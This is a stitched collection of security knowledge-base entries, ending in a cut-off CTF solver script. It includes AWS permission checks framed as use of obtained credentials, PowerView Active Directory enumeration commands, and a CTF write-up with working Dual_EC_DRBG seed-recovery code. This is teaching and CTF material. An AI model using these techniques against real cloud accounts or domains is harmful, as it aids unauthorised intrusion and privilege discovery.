Action ---|--- `Cmd` `Opt` `A` | Add a new row `Del` | Delete selected row(s) `Cmd` `D` | Duplicate selected row `Cmd` `R` | Refresh table contents {.shortcuts} ### Custom Query Tab Shortcut | Action ---|--- `Cmd` `Opt` `R` | Run all queries (1.0+) / Run current query or selection (<=0.9.9.1) `Cmd` `R` | Run current query or selection (1.0+) / Run all queries (<=0.9.9.1) `Cmd` `[` | Shift line or selection rightwards `Cmd` `]` | Shift line or selection leftwards `Cmd` `/` | Toggle comment line or selection `Cmd` `Opt` `/` | Toggle comment current query `F5` | Spell checker completion (narrow-down list) `Ctrl` `Y` | Select current query `Ctrl` `H` | Show MySQL help for current word or selection `Cmd` `Opt` `F` | Open query favorites popup menu `Cmd` `Opt` `Y` | Open query history popup menu `Ctrl` `Up` | Insert previous history item (successively) `Ctrl` `Down` | Insert next history item (successively) `Cmd` `Opt` `1` | Show all database names as completion list `Cmd` `Opt` `2` | Show all table and view names as completion list `Cmd` `Opt` `3` | Show all table names from current database as completion list {.shortcuts} Also see -------- - [Keyboard shortcuts for Sequel Pro](https://sequelpro.com/docs/get-started/keyboard-shortcuts) _(sequelpro.com)_
sec-knowleage
--- title: 查看自己所拥有的权限 --- <center><h1>在 AWS 下查看自己所拥有的权限</h1></center> --- ## 我是谁? 当我们拿到 AWS 访问凭证后,往往会面临一个问题,我是谁? 通过下面这条命令就能看到自己当前是那个用户了,如果返回的是 root 用户,那么恭喜你,你拥有所有的权限。 ```shell aws iam get-user ``` ```shell > aws iam get-user { "User": { "UserId": "0123456789", "Arn": "arn:aws:iam::0123456789:root", "CreateDate": "2022-01-01T01:01:01Z", "PasswordLastUsed": "2022-01-01T01:01:01Z" } } ``` 如果返回的不是 root 那么说明当前不是根用户 ```shell > aws iam get-user { "User": { "Path": "/", "UserName": "test", "UserId": "ABCDEFGHIJKLMNOPQRST", "Arn": "arn:aws:iam::0123456789:user/test", "CreateDate": "2022-01-01T01:01:01Z", "PasswordLastUsed": "2022-01-01T01:01:01Z" } } ``` ## 我能做什么? 通过下面这条命令,就可以看到自己所拥有的权限了 ```shell aws iam list-attached-user-policies --user-name test ``` ```shell > aws iam list-attached-user-policies --user-name test { "AttachedPolicies": [ { "PolicyName": "IAMFullAccess", "PolicyArn": "arn:aws:iam::aws:policy/IAMFullAccess" }, { "PolicyName": "AmazonECS_FullAccess", "PolicyArn": "arn:aws:iam::aws:policy/AmazonECS_FullAccess" } ] } ``` 不过能看到自己权限的前提是需要先拥有 iam 的相关权限,不然就会返回 AccessDenied ```shell > aws iam list-attached-user-policies --user-name test An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::0123456789:user/test is not authorized to perform: iam:ListAttachedUserPolicies on resource: user test because no identity-based policy allows the iam:ListAttachedUserPolicies action ``` <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年5月7日" } } </script>
sec-knowleage
ftptop === proftpd服务器的连接状态 ## 补充说明 **ftptop命令** 类似于top命令的显示风格显示proftpd服务器的连接状态。 ### 语法 ```shell ftptop(选项) ``` ### 选项 ```shell -D:过滤正在下载的会话; -S:仅显示指定虚拟主机的连接状态; -d:指定屏幕刷新时间,默认 ```
sec-knowleage
# Thinking-Plan --- ## 系统思维 - SYSTEMS THINKING ### 冰山模型 - Iceberg Model <img src="../../assets/img/Plan/Thinking-Plan/19.png" width="15%" align="right"> > 通过观察抽象的隐藏层次,发现事件的根本原因。 冰山模型是一个工具,它可以让你改变你的视角,超越每个人都注意到的直接事件。它帮助你发现这些事件发生的根本原因。这可以通过观察系统内更深层次的抽象来实现,而这些抽象并不是一目了然的。 <br><br> <img src="../../assets/img/Plan/Thinking-Plan/1.png" width="30%" align="right"> 冰山模型通常将情境确定为四个基本层次. - 事件(Events) - 代表了我们可以观察到的明显成分和行为 - 模式(Patterns) - 描述了随着时间推移的趋势 - 结构(Structures) - 描述了各部分是如何相互关联来影响模式的 - 思维模型(Mental models) - 通过一套信念、价值观和假设来支持系统中的其他一切,塑造人们的认知 冰山模型自上到下,越接近底层越是本质上的东西,也是越难感知到的东西。 冰山被用来比喻代表产生感知事件和问题的潜在结构,因为众所周知,冰山只有10%的总质量在水面上,而90%的质量在水下。用 "冰山一角 "这个说法来表示,人们所能看到的只是整个情况的一小部分,也就是说,在水面以下还有更多的东西,我们这个世界上正在发生的事情有很大一部分是被隐藏起来的,而冰山模型试图通过将其描述为一系列位于所观察到的日常现象下面的层次来明确这一点。 **事件** 水线以上的就是事件。事件是观察到多个变量的时间标记,它们是 "发生了什么 "或 "我们看到了什么"。 它们是关于系统中事物状态的离散活动或事实,就像注意到一台打印机坏了,意大利有了新总统,或者注意到有人开着一辆好车。如果我们把冰山模型应用于全球问题,我们可以说,在冰山的尖端,水面之上,是我们每天看到或听到的世界上发生的新闻或事件。 我们在新闻中听到的事件就代表了冰山一角。世界上大部分时间都是在事件层面度过的。这就是大部分人对世界的认知。 **模式** 模式是随时间变化的变量。它们是我们认为随着时间推移发生的趋势。 如果我们把目光投向水线以下,我们经常会开始看到模式或事件的反复出现。例如,这可能是反复发生的漏油事件,或者是一个人的电脑定期出现故障。又或者往往福利彩票的获奖者都喜欢cos米老鼠?为什么丈夫/妻子总是加班? 模式对于识别很重要,因为它们表明一个事件不是一个孤立的事件.`模式回答了这样的问题,什么一直在发生?或什么在改变?他们之间有什么关系?` 当我们做出 "冬天似乎变得更暖和了 "或 "汽油价格正在下降 "这样的陈述时,这些都是我们正在观察的模式,是事件之间的一系列`关系`。当我们到了模式层面,我们就可以进行预测、计划和预报。它让我们能够适应问题,从而更有效地应对问题。 **结构** 结构支持、创造并影响着我们在事件中看到的模式。结构可以理解为 `"游戏规则"`。它们可以是书面的,也可以是不成文的;它们可以是有形的,可以是可见的,也可以是不可见的。它们是规则、规范、政策、准则、权力结构、资源分配或非正式的工作方式,已被默示或明确地制度化。 它们回答了这样一个问题,即什么可以解释这些模式? 也许不容易看到结构,但我们能看到的模式告诉我们,结构一定存在。结构是由因果关系组成的。这些是模式之间的联系。 例如,一个农夫可能会说:"如果我增加奶牛的数量,我就会得到更多的牛奶。" 她说的是奶牛数量的增加--一种模式--和牛奶数量的增加--另一种模式--之间存在着联系。 又或者,经常性的石油泄漏,可能是我们对化石燃料的依赖。但是,如果你看一看此类泄漏的`根本原因`,你就可以开始理解和解决长期的、可持续的解决方案,例如开发不依赖石油运输的替代能源。 **思维模型** 结构下面是思维模型。这些模型定义了创造结构的思维,然后表现为事件的模式。 思维模型是人们根深蒂固的假设和信念,它们最终驱动着人们的行为。思维模型是态度、信念、道德、期望、价值观或文化,它们使结构能够继续正常运行。这些是我们经常从社会或家庭潜意识中学习的信念,我们很可能不知道。 思维模型是结构得以继续运作的最终原因。它们是需要存在的思想和推理过程,以使结构成为现在的样子。这些想法存在于结构的利益相关者、建立结构的人或在结构运作方式中发挥作用的人的头脑中。思维模型通常很难识别,因为它们会产生许多从未明确说明的假设。 就比如中国的中庸之道,西方的契约精神,在长久的时间中影响着人的行为。 --- ### 反馈循环 - Feedback loop <img src="../../assets/img/Plan/Thinking-Plan/4.png" width="13%" align="right"> > 如果 A 导致了 B,B 也会导致 A(反馈, feedback)。. 反馈系统可以用来解释马太效应,也就是赢者通吃(Winner take all effect)。 - 第1年,你的产品比竞争者好1%,你比竞争者多获得了1%的用户。 - 反馈是,你获得了更多的收益,于是你有更多的资源改进你的产品。 - 第2年,你的产品比竞争者好2%,你比竞争者多获得了2%的用户。 - 反馈是,你获得了更多的收益,于是你有更多的资源改进你的产品。 - ... - 最后,反馈循环会让竞争者退出市场,你获得了100%的用户。 --- - 如果B是一个正反馈,就形成了正反馈系统。 - 如果B是一个负反馈,就形成了负反馈系统。 - 于是,你可以配比不同类型的B,保持你的反馈系统的平衡(balancing loop)。 实际的生活中,反馈会发生延迟,系统的反馈循环会抖动,这就是真实的系统。 **平衡反馈循环 Balancing feedback loop** <img src="../../assets/img/Plan/Thinking-Plan/3.png" width="15%" align="right"> 平衡反馈循环是一种抵抗一个方向进一步变化的机制。它以相反方向的变化来抵消一个方向的变化。它的目的是稳定一个系统。 通常在系统中,你会发现这种平衡循环与正向反馈循环一起出现,后者的作用正好相反,会产生指数变化。 当平衡环路看到差距时,它将触发纠正行动,使某物的实际水平接近所需水平。 恒温器是平衡反馈循环的一个非常实用的例子。它监测房间内的温度(实际水平),当温度低于或高于某个阈值(所需水平)时,它将开始加热或冷却房间,以将温度保持在阈值内。 在这种情况下,整个循环是有意的,并设计了纠正行动。你还会发现很多自然的平衡循环。以茶叶的冷却为例。当你泡好茶后,将其静置,它将从最初的高温(实际水平)逐渐冷却,直到达到室温(所需水平)。在这种情况下,纠正的动作将是茶叶和周围空气之间的热传导。这将自然发生,背后没有任何意图。 **正向反馈循环 Reinforcing feedback loop** <img src="../../assets/img/Plan/Thinking-Plan/5.png" width="15%" align="right"> 只要循环内的行为或事件相互强化,就会发现正向反馈循环。这些循环会放大过程的效果。 你可以在身边找到现实世界的例子。复利是一个很常见的例子。你在银行里的钱越多,你赚的利息就越多。这些钱被加到你的余额中,所以你在利息上赚的更多。 强化反馈循环的效果是指数型的,而不是线性的。它们会导致指数级的增加或减少. 例如Facebook使用一个更好的信息流算法,给你呈现的东西是你喜欢的,你就会向朋友介绍Facebook,于是Fackbook获得了更多用户,更多用户可以带来更多收益,形成了正反馈系统。更多收益带来股东的更多信心,股价上升,重塑了(reinforcing loop)另一个反馈系统。更好的股价,吸引了更多投资和技术投入。这是一个正反馈。 --- ### 关系环 - Connection circles <img src="../../assets/img/Plan/Thinking-Plan/16.png" width="15%" align="right"> > 关系环是一种将故事或系统中的关系可视化的工具。它们通过看到系统中的因果关系来帮助你理解复杂性。 关系环是理解系统的一个重要工具。用于`识别关键元素并映射它们之间的关系`。这个工具也可以帮助你识别反馈循环。 现在的中小学生所研究的课题很复杂,往往难以理解。很少有一个问题像表面上看起来那么简单。也很少有一个问题会呈现出黑与白的选择。更多的时候,学生会在两个极端之间的灰色地带挣扎,比如。 - 杀虫剂可能带来的生态危害 是否值得增加作物产量和降低病害率的潜在好处? - 咄咄逼人的外交政策是对好战国家的威慑,还是会造成更肥沃的战争氛围? - 在一部小说中,我们可以从多个角度分析主人公的行为吗? 关系环可以帮助学生理解复杂性的思维工具。使用它们作为图形组织者,学生会产生关于系统内变化条件的想法。他们选择他们认为对变化最重要的元素,并画出箭头来追踪因果关系。通过这种方式,关系环帮助学生深入研究一个问题,并同时处理多个不同的想法。 <img src="../../assets/img/Plan/Thinking-Plan/2.png" width="50%"> 在现实世界中使用的最为贴切的关系环应该是人脉关系图。 --- ### 不做清单 - Not-To-Do list <img src="../../assets/img/Plan/Thinking-Plan/22.png" width="15%" align="right"> > 不做什么决定了可以做什么。 你可能和大多数人一样会有 to-do 列表,你用它来帮助你集中精力完成事情,如果你没有,你可能也会想试着建立一个,因为它在心里上对你帮助很大,不过,not-to-do 列表也同样非常重要。 这个清单与todo 列表相辅相成,并且可能更加重要一些。 有时候,你选择不做什么,比你绝对做什么更重要。通过减少一种行为,你实际上是在增加另一种行为,你会创造一个空白的时间段,需要通过某种形式来填充,通过限制某些活动,你实际上是在给自己机会,让你完全专注于最重要的方面,有太多的自由会有不利的一面。 --- ## 决策制定 - DECISION MAKING <img src="../../assets/img/Plan/Thinking-Plan/21.png" width="15%" align="right"> ### 速度质量成本关系 --- ### 二阶思维 - Second-order thinking <img src="../../assets/img/Plan/Thinking-Plan/20.png" width="15%" align="right"> > 考虑你的决策的长期后果。 有些决定一开始似乎是赢了,但随着时间的推移,却变成了亏损。现在看来是投资的东西,后来却变成了负债。早先看起来是好的决定,现在却变成了坏的决定。二阶思维是一种工具,可以帮助你审视决策的长期影响。 大多数人都停留在一阶思维上。要做出经得起时间考验的决定,二阶思维是必要的。我们需要确保我们今天的决定可以接受更多的长期后果。 考虑一个你必须做出的决定。先看看做出这个决定的最直接的影响--第一顺序。 然后针对每一个效果问自己:"然后呢?"然后呢?" 这就是你如何考察这个决定的第二阶后果。你可以重复这样做,只要你觉得实际可行,就可以查看更多的顺序。 或者,在不同的时间线中思考这个决定。问自己: 这个决定会有什么后果? - 十分钟? - 10个月? - 10年? 这样你就可以思考你的决定的短期、中期和长期后果。 你可以将二阶思维应用于大的决策(如买房),也可以应用于小的、看似平凡的决策(如吃蛋糕)。这是一个非常通用的工具,不仅在个人生活中,而且在商业或决策中也有意义。 直接的影响可能是拥有一个花园,为你的家人提供更多的空间,但也突然住在离工作一小时的地方。 --- ### 决策矩阵 - Decision matrix <img src="../../assets/img/Plan/Thinking-Plan/17.png" width="15%" align="right"> > 考虑多种因素,选择最佳方案。 有些决定是很难做的。尤其是当做决定的因素比较多的时候。决策矩阵是一个工具,它可以帮助你在做决定时考虑所有的重要因素。它能让这个过程更加清晰。 当你有几个选择,而你需要根据一些不同的因素在它们之间做出决定时,它是最有用的。 现实中一个很好的简化例子就是网络游戏里的英雄招募页面 --- ### 选择模型 - choice model <img src="../../assets/img/Plan/Thinking-Plan/18.png" width="15%" align="right"> > 弄清楚自己在做一个什么样的决定。 选择模型可以帮助你看清你正在做的是什么样的决定--是不费吹灰之力,还是艰难的选择,还是介于两者之间。它将使你能够推进你的决定。 <br><br> 在现实中往往情况复杂的多,4种情况不好归类,具有精髓的例子就是阵营九宫格。 --- ### 沉没成本 - Sunk Cost <img src="../../assets/img/Plan/Thinking-Plan/23.png" width="35%" align="right"> > 沉没成本是指已发生或承诺、无法回收的成本支出,如因失误造成的不可收回的投资。 举例来说,如果某人预订了一张电影票,已经付了票款且假设不能退票。此时付的价钱已经不能收回,就算不看电影钱也收不回来,电影票的价钱算作沉没成本。 随着电影的播放,你发现电影非常难看,简直就是在浪费你的时间,但是你觉得应该要值回票价,所以还是觉得看完剩下的2小时,这个绝对考虑的是之前10元损失,但这不是最佳决定,更符合逻辑的行为是:当你意识到这部电影并不是你想看的,就应该起身离席,这样你只浪费10元和15分钟,而不是10元和2小时,那不是更好吗? 如果你能早早离开,你本来能够拥有额外的2小时,这种思考就是基于未来的收益,你花掉的10元已经消失或沉没了,无论你看不看剩下的电影,也没法挽回,这就是沉没成本误区的原理,所以我们通常浪费资源做某事,即使毫无益处,也更愿意坚持下去,这不仅体现在金钱上,时间和精力也是如此。 --- ## 问题处理 - PROBLEM SOLVING ### Issue trees <img src="../../assets/img/Plan/Thinking-Plan/12.png" width="15%" align="right"> > 系统地组织和解决问题。 Issue 树基本上是问题的地图。它们为你提供了一种清晰而系统的方法来看待你需要解决的问题。它们帮助你把一个大问题分解成更小的、更容易处理的问题,并对问题的某些部分进行优先处理。换句话说,它们对 "分而治之 "的策略很有用。 问题树也是与他人交流问题的好帮手,因为它们提供了问题的地图。 在实际使用中,也常常称为思维简图,逻辑图等。 --- ### 抽象阶梯式 - Abstraction laddering <img src="../../assets/img/Plan/Thinking-Plan/15.png" width="15%" align="right"> > 用不同的抽象层次更好地框定你的问题。 抽象梯形图是一种更巧妙地构架问题的工具。它有助于更清晰地定义一个你需要解决的问题。它帮助你超越最初的问题陈述。 这个工具为你提供了提出正确问题的能力,使你能够在阶梯上上下移动。 他从最初的问题陈述开始。"设计一个更好的开罐器" 最初问 "怎么做?",他就会得到一个更具体的陈述 "让它更吸引人"。 但他也可以往上走:"为什么我们需要一个更好的开罐器?" 这样他就会得到更抽象的问题陈述。"把汤从罐头里拿出来" 从那里,他可能会问:"我们怎样才能把罐头里的汤弄出来?"。这样就可以定义一个不同的问题陈述 "让它更方便". --- **Source & Reference** - [Tools for better thinking | Untools](https://untools.co/) - [Iceberg Model - Systems Innovation](https://systemsinnovation.io/iceberg-model/) - [心智与认知(1): 反馈循环(Feedback loop) ](https://www.cnblogs.com/math/p/cognition-001.html) - [沉没成本如何影响你做决定?](https://www.bilibili.com/video/BV1kZ4y1u7wn) - [为什么不要做事务清单很重要?](https://www.bilibili.com/video/BV1vv411q7L3)
sec-knowleage
# Powerview Powerview 是PowerSploit工具集中用于域枚举的一个特别好的工具。几乎所有的功能在Empire中也都有。尽管每个功能都是可以直接看懂的并且你需要自己去探索。我仍然会在这提供一些提示。我强烈建议阅读这类基于Powershell的黑客工具的源码,因为有大量的提示和样例和他们绑在一起。 Harmj0y 在这个 Github 上也有一些技巧和窍门。 <https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993> --- ## User functions `Invoke-EnumerateLocalAdmin` 枚举域中所有计算机上的本地管理员组的成员。 ## Groupfunctions `Get-NetLocalGroup -ComputerName MX01 -GroupName "Remote Management Users"` 获得所有可以在特定的计算机上使用WinRM的用户。 `Get-NetLocalGroup -ComputerName MX01 -GroupName "Remote Desktop Users"` 获得可以远程桌面(RDP)连接到一台特定的计算机上的用户。 ## GPO functions `Get-NetGPOGroup -ResolveMemberSIDs` 获得在域中所有在目标机器中设置 "Restricted Groups" 的GPO,并且解析出所有组成员和用户成员的SID。 `Find-GPOLocation -UserName testuser -LocalGroup RDP` 选择一个用户或组, 并通过GPO枚举检查该用户可以访问哪些地方。这样我们就可以看到testuser可以用RDP访问到哪些主机。
sec-knowleage
# nobus-101 After reverse-engineering the binary, we learned that it uses the Dual_EC_DRBG backdoored keys. The curve generatoin itself is deterministic, but we needed to reverse it. It looks like this: ```python MAGIC = 0x132867e88e82431dc40ba24e11bf3ec7ffb18764a3b4df1f5957fd5f37d8be40 def gen_backdoor(): P = P256.G e = MAGIC d = mod_inv(e, P256.q) Q = e * P return P, Q, d ``` This makes it possible to recover the seed using only two random numbers, using the well-studied attack technique on Dual_EC_DRBG keys. We modified the https://github.com/AntonKueltz/dual-ec-poc attack to get a deterministic seed recovery. The interesting piece of our code is: ```python def recover_s(bits0, bits1, Q, d): for high_bits in range(2**16): guess = (high_bits << (8 * 30)) | bits0 on_curve, y = find_point_on_p256(guess) if on_curve: # use the backdoor to guess the next 30 bytes point = Point(guess, y, curve=P256) s = (d * point).x r = (s * Q).x & (2**(8 * 30) - 1) if r == bits1: return s def main(): P, Q, d = gen_backdoor() data = requests.get("http://nobus101.insomnihack.ch:13337/prng").text bits0, bits1, *rest = data.split() bits0 = int(bits0, 16) bits1 = int(bits1, 16) s = recover_s(bits0, bits1, Q, d) curve = DualEC(s, P, Q) prediction = hex(curve.genbits())[2:].rjust(60, '0') text = requests.post("http://nobus101.insomnihack.ch:13337/flag", data=prediction.encode()) print(text.text) ``` This allowed us to recover the flag. ``` INS{7ru57_7h3_5c13nc3} ```
sec-knowleage
.\"Generated by db2man.xsl. Don't modify this, modify the source. .de Sh \" Subsection .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Ip \" List item .br .ie \\n(.$>=3 .ne \\$3 .el .ne 3 .IP "\\$1" \\$2 .. .TH "NMBLOOKUP" 1 "" "" "" .SH NAME nmblookup \- 基于TCP/IP上的NetBIOS客户用于查询NetBIOS名字的程序 .SH "总览 SYNOPSIS" \fBnmblookup\fR [-M] [-R] [-S] [-r] [-A] [-h] [-B <broadcast address>] [-U <unicast address>] [-d <debug level>] [-s <smb config file>] [-i <NetBIOS scope>][-T] [-f] {name} .SH "描述 DESCRIPTION" .PP .B nmblookup 是 \fBSamba\fR(7)套件的一部分。 .PP \fBnmblookup\fR 用于在网络中查询NetBIOS名字并映射对应的IP地址。使用它可以在一个特殊的IP广播区域或者机器中直接查询名字。所有的查询操作都在UDP上实现。 .SH "选项 OPTIONS" .TP -M 通过查找类型为\fB0x1d\fR的NetBIOS名字 \fIname\fR来搜索一个主浏览器。如果 \fI name\fR 是 "-",那么它搜索特殊的名字 \fB__MSBROWSE__\fR。 Please note that in order to use the name "-", you need to make sure "-" isn't parsed as an argument, e.g. use : \fBnmblookup -M -- -\fR。 .TP -R 用这个选项在包中指定一个希望得到的二进制位来进行递归查找。 当向WINS服务器发送名字查询及用户希望在WINS服务器上进行名字查询时可以用这种方法。如果不设定这样的二进制递归位,则主机上的普通NetBIOS处理代码(以广播方式)将替代它。详细资料请参见rfc1001和rfc1002。 .TP -S 通过这个选项可以使名字查询操作返回一个IP地址时,再跟着作节点状态的查询操作。节点状态查询会返回主机注册的NetBIOS名字。 .TP -r 用这个选项来试图并绑定UDP端口137用于发送和接收UDP数据包。使用这个选项的理由是Windows 95在这方面有一个错误:它会忽略请求数据包的原始端口而只回复到UDP端口137(系统发送和接收包可能并不用137端口)。不幸的情况是在UNIX系统上绑定这个端口需要root权限。另外,运行\fBnmbd\fR守护程序也应该绑定到这个端口。 .TP -A 用这个选项把\fIname\fR参数解释成一个IP地址并使用这个地址来作节点状态查询。 .TP -n <primary NetBIOS name> This option allows you to override the NetBIOS name that Samba uses for itself\&. This is identical to setting the \fInetbios name\fR parameter in the \fIsmb\&.conf\fR file\&. However, a command line setting will take precedence over settings in \fIsmb\&.conf\fR\&. .TP -i <scope> This specifies a NetBIOS scope that \fBnmblookup\fR will use to communicate with when generating NetBIOS names\&. For details on the use of NetBIOS scopes, see rfc1001\&.txt and rfc1002\&.txt\&. NetBIOS scopes are \fBvery\fR rarely used, only set this parameter if you are the system administrator in charge of all the NetBIOS systems you communicate with\&. .TP -W|--workgroup=domain Set the SMB domain of the username\&. This overrides the default domain which is the domain defined in smb\&.conf\&. If the domain specified is the same as the servers NetBIOS name, it causes the client to log on using the servers local SAM (as opposed to the Domain SAM)\&. .TP -O socket options TCP socket options to set on the client socket\&. See the socket options parameter in the \fIsmb\&.conf\fR manual page for the list of valid options\&. .TP -h|--help 打印帮助(使用方法)信息。 .TP -B <broadcast address> 用给出的广播地址发送查询。如果没有使用这个选项的话,nmblookup将会把查询发送到通过自动检测或者在\fBsmb.conf\fR (5)文件的\fIinterfaces\fR参数定义好的网络接口的广播地址上。 .TP -U <unicast address> 用这个选项对指定地址或者\fIunicast address\fR主机进行单独的查询。查找一个WINS服务器需要这样的参数(还有\fI-R\fR选项)。 .TP -V 输出程序版本号。 .TP -s <configuration file> 指定的文件包含服务器需要的配置细节。文件信息包括服务器特定的信息,比如使用哪个 printcap文件;也包括服务器提供的服务的描述。查看\fIsmb.conf\fR 来获得更详细的信息。默认的配置文件名是在编译时指定的。 .TP -d|--debug=debuglevel \fIdebuglevel\fR 是个从0到10的整数。参数未指定时默认值为0。 这个值越高,将记录越多关于nmblookup活动的资料。在把调试级设为0时,只记录紧急错误和严重警告。级别一是日常运行时合适的级别 - 它产生小量的执行操作的信息。 1以上的调试级将产生相当多的记录数据,并且只在研究问题时才有用。3以上的调试级只被设计为让开发者使用并会产生极大数量的记录数据,而且其中很多部分非常难以理解。 注意在此使用这个参数将越过在\fIsmb.conf\fR (5)文件中的\fIlog level\fR参数。 .TP -l|--logfile=logbasename File name for log/debug files\&. The extension \fB"\&.client"\fR will be appended\&. The log file is never removed by the client\&. .TP -T 使用这个选项使得查找到的ip地址通过DNS反向查询查出所有的DNS名称,并将结果输出到通常的的 \fBIP address \&.\&.\&.\&. NetBIOS name\fR 对应关系前面。 .TP -f Show which flags apply to the name that has been looked up\&. Possible answers are zero or more of: Response, Authoritative, Truncated, Recursion_Desired, Recursion_Available, Broadcast\&. .TP name 这个选项用来指定要查的NetBIOS名字。根据前面已经使用的选项这里可能出现的形式是一个NetBIOS名或者是IP地址。如果用的是NetBIOS名则可以在名字中加入'#<type>'来指定不同的名字类型。当然也可以用*来代替输入项,这样的话会通过广播区域返回所有已注册的名字。 .SH "范例 EXAMPLES" .PP \fBnmblookup\fR 可被用于查询WINS服务器(同样\fBnslookup\fR用于查询DNS服务器)。要查询WINS服务器,必须这样调用 \fBnmblookup\fR: .PP \fBnmblookup -U server -R 'name'\fR .PP 例如,运行: .PP \fBnmblookup -U samba.org -R 'IRIX#1B'\fR .PP 通过这个命令将向WINS服务器samba.org查询IRIX工作组中的域主浏览器(名字类型为1B)。 .SH "版本 VERSION" .PP 此手册页是针对samba套件版本3.0的。 .SH "参见 SEE ALSO" .PP \fBnmbd\fR(8), \fBsamba\fR(7), and \fBsmb.conf\fR(5)\&. .SH "作者 AUTHOR" .PP samba软件和相关工具最初由Andrew Tridgell创建。samba现在由Samba Team 作为开源软件来发展,类似linux内核的开发方式。 .PP 最初的samba手册页是 Karl Auer写的。 手册页源码已经转换为YODL格式(另一种很好的开源软件,可以在\fIftp://ftp.ice.rug.nl/pub/unix\fR找到),由Jeremy Sllison 更新到Samba2.0 版本。 Gerald Carter 在Samba2.2中将它转化为DocBook 格式。 Alexander Bokovoy 在Samba 3.0中实现了DocBook XML4.2 格式的转换。 .SH "[中文版维护人]" .B meaculpa <meaculpa@21cn.com> .SH "[中文版最新更新]" .B 2000/12/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Bashmach Alpha Passover Challenges - חידת בסמ"ח אלפא לפסח ## Riddle Basmach Alpha released a nice set of challenges for Passover on their [Instagram channel](https://www.instagram.com/bsmch.alpha/). In order to find the challenges, one must first solve the following [riddle](https://www.instagram.com/p/Cq0Q3LstINQ/): ![](images/riddle.jpg) Worked on the challenges with zVaz. ## Solution The phrases in the image are taken from the Haggadah. Every part is composed of some opening words from a section in the Haggadah and a term that is related to a number from a known Passover song ([Echad Mi Yodea](https://en.wikipedia.org/wiki/Echad_Mi_Yodea)). Here is a wider context for the first part of each section: ``` מנין אתה אומר שלקו המצריים במצרים עשר מכות ועל הים לקו חמישים מכות רבי אליעזר אומר: מנין שכל מכה ומכה שהביא הקדוש ברוך הוא על המצרים במצרים הייתה של ארבע מכות? ואפלו כלנו חכמים, כלנו נבונים, כלנו זקנים, כלנו יודעים את התורה, מצוה עלינו לספר ביציאת מצרים ``` And for the second part: ``` שלושה עשר מדיא, <-- שנים עשר שבטיא, אחד עשר כוכביא, עשרה דבריא, תשעה ירחי לידה, <-- שמונה ימי מילה, שבעה ימי שבתא, שישה סדרי משנה, חמישה חומשי תורה, <-- ארבע אימהות, שלושה אבות, שני לוחות הברית. אחד אלוהינו שבשמיים ובארץ. ``` So how do we solve the riddle? We take the sentance from the first part, and advance `n` words based on the second part to get: ``` מנין אתה אומר + 5 = מכות רבי אליעזר אומר + 13 = של כלנו זקנים + 9 = מצרים ``` Translate it to English and convert to a domain according to the template in the riddle to get [plagues-of-egypt.com](https://plagues-of-egypt.com/). The website contained 10 challenges, on for each of the plagues of Egypt. An official solution for the introduction riddle was later published as [an additional post](https://www.instagram.com/p/Cq27UeGN1YQ/) in the Instagram channel.
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ## OSX Security 1. [macOS-Security-and-Privacy-Guide](https://github.com/drduh/macOS-Security-and-Privacy-Guide) 2. [mOSL](https://github.com/0xmachos/mOSL)
sec-knowleage
import socket from time import sleep import re def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("randBox-iw8w3ae3.9447.plumbing", 9447)) ct = getCiphertext(s) breakLevel2(ct, s) for i in range(3): ct = getCiphertext(s) breakLevel3(ct, s) ct = getCiphertext(s) breakLevel6(ct, s) ct = getCiphertext(s) breakLevel1(ct, s) ct = getCiphertext(s) breakLevel7(ct, s) ct = getCiphertext(s) breakLevel8(ct, s) ct = getCiphertext(s) breakLevel9(ct, s) ct = getCiphertext(s) breakLevel7(ct, s) sleep(1) print(s.recv(1024)) def getCiphertext(s): sleep(1) data = s.recv(1024) print(data) m = re.search("encrypts to '(.*)'", data) ct = m.group(1) print("ciphertext = " + ct) return ct def breakLevel1(ct, s): # caesar cipher send_via_nc(s, "0") data = s.recv(1024)[:-1] shift = int(data, 16) result = "".join([format((int(letter, 16) - shift) % 16, "x") for letter in ct]) send_via_nc(s, result) def breakLevel2(ct, s): # circular shifting input by some random number send_via_nc(s, "1" + ("0" * (len(ct) - 1))) data = s.recv(1024)[:-1] shift = data.index("1") result = ct[shift:] + ct[:shift] send_via_nc(s, result) def breakLevel3(ct, s): # substitution cipher initial = "0123456789abcdef" send_via_nc(s, initial) data = s.recv(1024)[:-1] decoder = {data[i]: initial[i] for i in range(len(initial))} result = "".join([decoder[letter] for letter in ct]) send_via_nc(s, result) def breakLevel6(ct, s): # shifting each number by some distance initial = "0" * len(ct) send_via_nc(s, initial) data = s.recv(1024)[:-1] shifts = [int(data[i], 16) for i in range(len(ct))] result = "".join([format((int(ct[i], 16) - shifts[i]) % 16, "x") for i in range(len(ct))]) send_via_nc(s, result) def breakLevel7(ct, s): # sub cipher depending on previous number cracking_map = { '0': {'a': 'a', 'c': 'c', 'b': 'b', 'e': 'e', 'd': 'd', 'f': 'f', '1': '1', '0': '0', '3': '3', '2': '2', '5': '5', '4': '4', '7': '7', '6': '6', '9': '9', '8': '8'}, '1': {'a': 'b', 'c': 'd', 'b': 'a', 'e': 'f', 'd': 'c', 'f': 'e', '1': '0', '0': '1', '3': '2', '2': '3', '5': '4', '4': '5', '7': '6', '6': '7', '9': '8', '8': '9'}, '2': {'a': '8', 'c': 'e', 'b': '9', 'e': 'c', 'd': 'f', 'f': 'd', '1': '3', '0': '2', '3': '1', '2': '0', '5': '7', '4': '6', '7': '5', '6': '4', '9': 'b', '8': 'a'}, '3': {'a': '9', 'c': 'f', 'b': '8', 'e': 'd', 'd': 'e', 'f': 'c', '1': '2', '0': '3', '3': '0', '2': '1', '5': '6', '4': '7', '7': '4', '6': '5', '9': 'a', '8': 'b'}, '4': {'a': 'e', 'c': '8', 'b': 'f', 'e': 'a', 'd': '9', 'f': 'b', '1': '5', '0': '4', '3': '7', '2': '6', '5': '1', '4': '0', '7': '3', '6': '2', '9': 'd', '8': 'c'}, '5': {'a': 'f', 'c': '9', 'b': 'e', 'e': 'b', 'd': '8', 'f': 'a', '1': '4', '0': '5', '3': '6', '2': '7', '5': '0', '4': '1', '7': '2', '6': '3', '9': 'c', '8': 'd'}, '6': {'a': 